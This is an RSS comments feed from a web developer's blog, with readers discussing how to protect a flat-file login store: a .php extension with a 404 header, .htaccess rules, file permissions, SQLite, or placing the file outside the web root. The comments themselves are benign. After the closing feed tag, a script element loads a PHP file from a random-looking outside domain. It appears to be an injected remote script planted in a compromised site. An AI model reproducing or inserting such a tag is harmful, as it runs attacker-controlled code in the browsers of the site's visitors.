















































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Secure a Flat File Using a .php Extension</title>
	<atom:link href="http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/feed" rel="self" type="application/rss+xml" />
	<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension</link>
	<description>Web design &#38; development work of Stefan Matei</description>
	<lastBuildDate>Wed, 21 Jul 2010 14:01:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-1227</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Sun, 01 Mar 2009 07:19:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-1227</guid>
		<description>&lt;p&gt;@&lt;a href=&quot;#comment-1220&quot; rel=&quot;nofollow&quot;&gt;PHPNewbie&lt;/a&gt;: Indeed, you can use .htaccess to restrict the access to that file.&lt;/p&gt;

&lt;p&gt;Think of this as just another way of doing it, in case maybe httaccess doesn&#039;t suit you. I guess I was also thinking httaccess files can get a bit tricky for some users seeing how most web hosts hide them and FTP clients don&#039;t show hidden files (unless you change that in the settings), or how you can&#039;t create a new .htaccess file under Windows as you would any other normal file with a normal extension.&lt;/p&gt;

&lt;p&gt;The project I mentioned got postponed a bit, but it&#039;s almost complete... I&#039;ve used it for live sites already and very soon it should polished enough to be downloaded and used by your average Joe. &lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-1220" rel="nofollow">PHPNewbie</a>: Indeed, you can use .htaccess to restrict the access to that file.</p>
<p>Think of this as just another way of doing it, in case maybe httaccess doesn&#8217;t suit you. I guess I was also thinking httaccess files can get a bit tricky for some users seeing how most web hosts hide them and FTP clients don&#8217;t show hidden files (unless you change that in the settings), or how you can&#8217;t create a new .htaccess file under Windows as you would any other normal file with a normal extension.</p>
<p>The project I mentioned got postponed a bit, but it&#8217;s almost complete&#8230; I&#8217;ve used it for live sites already and very soon it should polished enough to be downloaded and used by your average Joe. </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: PHPNewbie</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-1220</link>
		<dc:creator>PHPNewbie</dc:creator>
		<pubDate>Sun, 01 Mar 2009 00:41:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-1220</guid>
		<description>Hi,

I&#039;m just a PHP Newbie, but could you just chmod
the datafile access to read/write for owner only or
something like that, which in this case would be the
PHP script that created the data file and is using
it for logins?

Aren&#039;t there are some host that don&#039;t let you have
access to .htaccess and/or php.ini! So changing those
files wouldn&#039;t help.

I like your idea about using a php file as a data file with
the header/die. You can read the file one line at a time
without having to load the whole data file into memory.

How is your project going?

Newbie.</description>
		<content:encoded><![CDATA[<p>Hi,</p>
<p>I&#8217;m just a PHP Newbie, but could you just chmod<br />
the datafile access to read/write for owner only or<br />
something like that, which in this case would be the<br />
PHP script that created the data file and is using<br />
it for logins?</p>
<p>Aren&#8217;t there are some host that don&#8217;t let you have<br />
access to .htaccess and/or php.ini! So changing those<br />
files wouldn&#8217;t help.</p>
<p>I like your idea about using a php file as a data file with<br />
the header/die. You can read the file one line at a time<br />
without having to load the whole data file into memory.</p>
<p>How is your project going?</p>
<p>Newbie.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: webteh</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-316</link>
		<dc:creator>webteh</dc:creator>
		<pubDate>Tue, 09 Dec 2008 23:00:24 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-316</guid>
		<description>.txt file and proper rewrite rules whan accesing .txt file</description>
		<content:encoded><![CDATA[<p>.txt file and proper rewrite rules whan accesing .txt file</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-79</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 15 Oct 2008 12:52:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-79</guid>
		<description>@&lt;a href=&quot;#comment-74&quot; rel=&quot;nofollow&quot;&gt;Sorin&lt;/a&gt;: As I was saying, using a database would defeat the whole purpose of the project I was working on (and is almost complete, just one more stinkin&#039; bug to solve).
The project is something like cushycms.com, only not self hosted and more customizable, and the thing should be stupid simple to set up&#8212;just setting the password and an FTP upload.</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-74" rel="nofollow">Sorin</a>: As I was saying, using a database would defeat the whole purpose of the project I was working on (and is almost complete, just one more stinkin&#8217; bug to solve).<br />
The project is something like cushycms.com, only not self hosted and more customizable, and the thing should be stupid simple to set up&#8212;just setting the password and an FTP upload.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sorin</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-74</link>
		<dc:creator>Sorin</dc:creator>
		<pubDate>Wed, 15 Oct 2008 08:32:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-74</guid>
		<description>why don&#039;t you try SQLite.. it&#039;s not server side dependable.. and you can use a mySQL programing interface :D
anyway.. thanks for the tip with the 404 header.. very nice ideea</description>
		<content:encoded><![CDATA[<p>why don&#8217;t you try SQLite.. it&#8217;s not server side dependable.. and you can use a mySQL programing interface :D<br />
anyway.. thanks for the tip with the 404 header.. very nice ideea</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dean</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-32</link>
		<dc:creator>Dean</dc:creator>
		<pubDate>Wed, 01 Oct 2008 23:17:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-32</guid>
		<description>Another point. If, for some reason the server is not configured correctly to process php files server side then it is entirely possible that the raw php source file could be sent to the user (this happened to facebook a while back)</description>
		<content:encoded><![CDATA[<p>Another point. If, for some reason the server is not configured correctly to process php files server side then it is entirely possible that the raw php source file could be sent to the user (this happened to facebook a while back)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dean</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-31</link>
		<dc:creator>Dean</dc:creator>
		<pubDate>Wed, 01 Oct 2008 23:17:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-31</guid>
		<description>You could just use htaccess to block access the file in question. The general public would not have to deal with the technical issues as you could ship the product with the htacess file in place already (have the flatfile inside a seperate folder to avoid conflicts with already existing htaccess files (read: so you dont overwrite them).</description>
		<content:encoded><![CDATA[<p>You could just use htaccess to block access the file in question. The general public would not have to deal with the technical issues as you could ship the product with the htacess file in place already (have the flatfile inside a seperate folder to avoid conflicts with already existing htaccess files (read: so you dont overwrite them).</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-30</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 01 Oct 2008 23:15:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-30</guid>
		<description>@dean: I thought about that too. But it would complicate things a little for the general public. Nonetheless, I agree, it&#039;s a safe classic method.

@LGR: Same thing, about the root folder.
And as for the obscure folder... I&#039;m planning to release the final product open source. So anyone who would know that a site uses this could study the scripts and file structure and exploit it.
And speaking of which, one more step regarding security, is to encourage users to change the name of their data file.</description>
		<content:encoded><![CDATA[<p>@dean: I thought about that too. But it would complicate things a little for the general public. Nonetheless, I agree, it&#8217;s a safe classic method.</p>
<p>@LGR: Same thing, about the root folder.<br />
And as for the obscure folder&#8230; I&#8217;m planning to release the final product open source. So anyone who would know that a site uses this could study the scripts and file structure and exploit it.<br />
And speaking of which, one more step regarding security, is to encourage users to change the name of their data file.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-29</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 01 Oct 2008 23:15:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-29</guid>
		<description>@Jez: The problem is that these information should have to be stored in such a way that would make them easily comprehensible (readable, deletable, updatable) by other scripts. Like a CSV (comma separated values) or in this case, colon separated values.
It should allow to easily simulate the main operations you could do on the data in a database for example... at a very simplified level, of course.

This is because someone should be able to manage the users, users should be able to manage their own accounts and so on.</description>
		<content:encoded><![CDATA[<p>@Jez: The problem is that these information should have to be stored in such a way that would make them easily comprehensible (readable, deletable, updatable) by other scripts. Like a CSV (comma separated values) or in this case, colon separated values.<br />
It should allow to easily simulate the main operations you could do on the data in a database for example&#8230; at a very simplified level, of course.</p>
<p>This is because someone should be able to manage the users, users should be able to manage their own accounts and so on.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dean</title>
		<link>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/comment-page-1#comment-28</link>
		<dc:creator>Dean</dc:creator>
		<pubDate>Wed, 01 Oct 2008 23:13:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=16#comment-28</guid>
		<description>Just placing the file outside of your web root folder will secure it plenty. No need for all the extra stuff!</description>
		<content:encoded><![CDATA[<p>Just placing the file outside of your web root folder will secure it plenty. No need for all the extra stuff!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>